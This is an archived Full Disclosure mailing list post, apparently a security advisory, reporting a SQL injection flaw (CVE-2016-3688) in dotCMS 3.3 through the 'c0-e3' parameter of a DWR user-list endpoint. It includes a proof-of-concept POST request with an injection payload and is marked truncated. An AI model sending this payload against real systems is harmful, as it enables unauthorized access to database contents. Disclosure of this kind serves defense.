Full Disclosure mailing list archives
SQL Injection Vulnerability in DotCms v3.3
From: xiong piaox <yahoo860201 () gmail com>
Date: Mon, 4 Apr 2016 11:39:14 +0800
Hello,please Add the following to the security mailing-lists. 1、Description Exploit Title: SQL Injection Vulnerability in DotCms v3.3 Date: 3-28-2016 Vendor Homepage: http://dotcms.com/ Vendor: dotcms Software: Content Management System Version: v3.3 CVE:CVE-2016-3688 2、Product Summary ================ *dotcms* <http://blog.dreamcss.com/content-management-system/dotcms-open-source-java-cms/> is a fully featured open source *enterprise grade J2EE/Java based web content management system *for building/managing websites, content and content driven web applications. it’s specially designed for bridges the gap between PHP CMS and J2EE document management solutions. it include features such as support for virtual hosting, WebDav (beta), structured content, clustering and can run on multiple databases PostgreSQL, MySQL, MSSQL and Oracle. It also includes standard WCMS features like page caching, templating, and a API. 3、Vulnerabilities ================ A SQL injection vulnerability has been identified in dotCMS 3.3 which, if successfully exploited, could allow an attacker to access sensitive information in the dotcms database. Demo:(http://dotcms.com/content-management-system/cms-demo) The vulnerability is due to the dwr/call/plaincall/UserAjax.getUsersList.dwr ,“c0-e3”parameter Proof of concept ================ POST /dwr/call/plaincall/UserAjax.getUsersList.dwr callCount=1 windowName=c0-param2 c0-scriptName=UserAjax c0-methodName=getUsersList c0-id=0 c0-param0=null:null c0-param1=null:null c0-e1=number:0 c0-e2=number:50 c0-e3=string:%25'%20and%201%3D1%20and%20'%25'%3D' c0-param2=Object_Object:{start:reference:c0-e1, limit:reference:c0-e2, query:reference:c0-e3} batchId=4 instanceId=0 page=%2Fc%2Fportal%2Flayout%3Fp_l_id%3Da8e430e3-8010-40cf-ade1-5978e61241a8%26p_p_id%3DEXT_USER_ADMIN%26p_p_action%3D0%26%26dm_rlout%3D1%26r%3D1459154302419 ----- Message truncated ----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- SQL Injection Vulnerability in DotCms v3.3 xiong piaox (Apr 04)